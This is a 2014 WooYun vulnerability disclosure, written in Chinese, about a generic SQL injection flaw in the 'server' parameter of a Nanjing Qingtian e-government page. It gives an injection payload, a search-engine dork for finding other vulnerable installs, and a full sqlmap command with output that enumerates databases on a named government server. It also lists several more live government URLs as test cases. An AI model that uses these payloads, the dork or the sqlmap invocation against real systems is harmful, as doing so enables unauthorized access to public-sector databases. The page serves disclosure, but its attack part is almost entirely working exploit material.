当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075253

漏洞标题:南京擎天政务系统通用SQL注入漏洞

相关厂商:南京擎天政务系统

漏洞作者: 路人甲

提交时间:2014-09-09 14:52

修复时间:2014-12-08 14:54

公开时间:2014-12-08 14:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-14: 厂商已经确认,细节仅向厂商公开
2014-09-17: 细节向第三方安全合作伙伴开放
2014-11-08: 细节向核心白帽子及相关领域专家公开
2014-11-18: 细节向普通白帽子公开
2014-11-28: 细节向实习白帽子公开
2014-12-08: 细节向公众公开

简要描述:

南京擎天政务系统存在通用SQL注入漏洞,可获取数据库任意数据

详细说明:

漏洞链接: /index_page/geren_list_page.aspx
漏洞参数: server
Payload: server=-1' or 'a'='a
google搜索 inurl:geren_list_page.aspx

1.png


以http://qlgk.taixing.gov.cn/index_page/geren_list_page.aspx?server=1&refid= 作为测试案例

1.png


SQL报错测试:
http://qlgk.taixing.gov.cn/index_page/geren_list_page.aspx?server=1'&refid=

1.png


漏洞证明:

使用Sqlmap自动化测试:
$ py sqlmap.py -u 'http://qlgk.taixing.gov.cn/index_page/geren_list_page.aspx?server=1&refid=' -p server --level 5 --risk 3 --random-agent --dbs -v 0
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibilit
[*] starting at 23:44:32
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: server
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: server=1' AND 7868=7868 AND 'jaJT'='jaJT&refid=
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: server=1' AND 1632=CONVERT(INT,(SELECT CHAR(113)+CHAR(111)+CHAR(118)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (1632=1632) TH
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: server=1' UNION ALL SELECT NULL,CHAR(113)+CHAR(111)+CHAR(118)+CHAR(118)+CHAR(113)+CHAR(79)+CHAR(67)+CHAR(87)+CHAR(84)+CHAR
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: server=-7957' OR 2182=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers A
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
available databases [7]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] txgkptweb
[*] txweb
[*] tzmszj

1.png


其他测试案例:
http://58.222.216.220/ggweb/index_page/geren_list_page.aspx?server=2&refid=
http://qlgk.taixing.gov.cn/index_page/geren_list_page.aspx?server=1&refid=
http://qlgk.taizhou.gov.cn/tzptweb/index_page/geren_list_page.aspx?server=1&refid=
http://58.222.195.110:8081/jyweb/index_page/geren_list_page.aspx?server=1&refid=
http://58.222.211.21/xhweb/index_page/geren_list_page.aspx?server=1&refid=

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-09-14 09:52

厂商回复:

最新状态:

暂无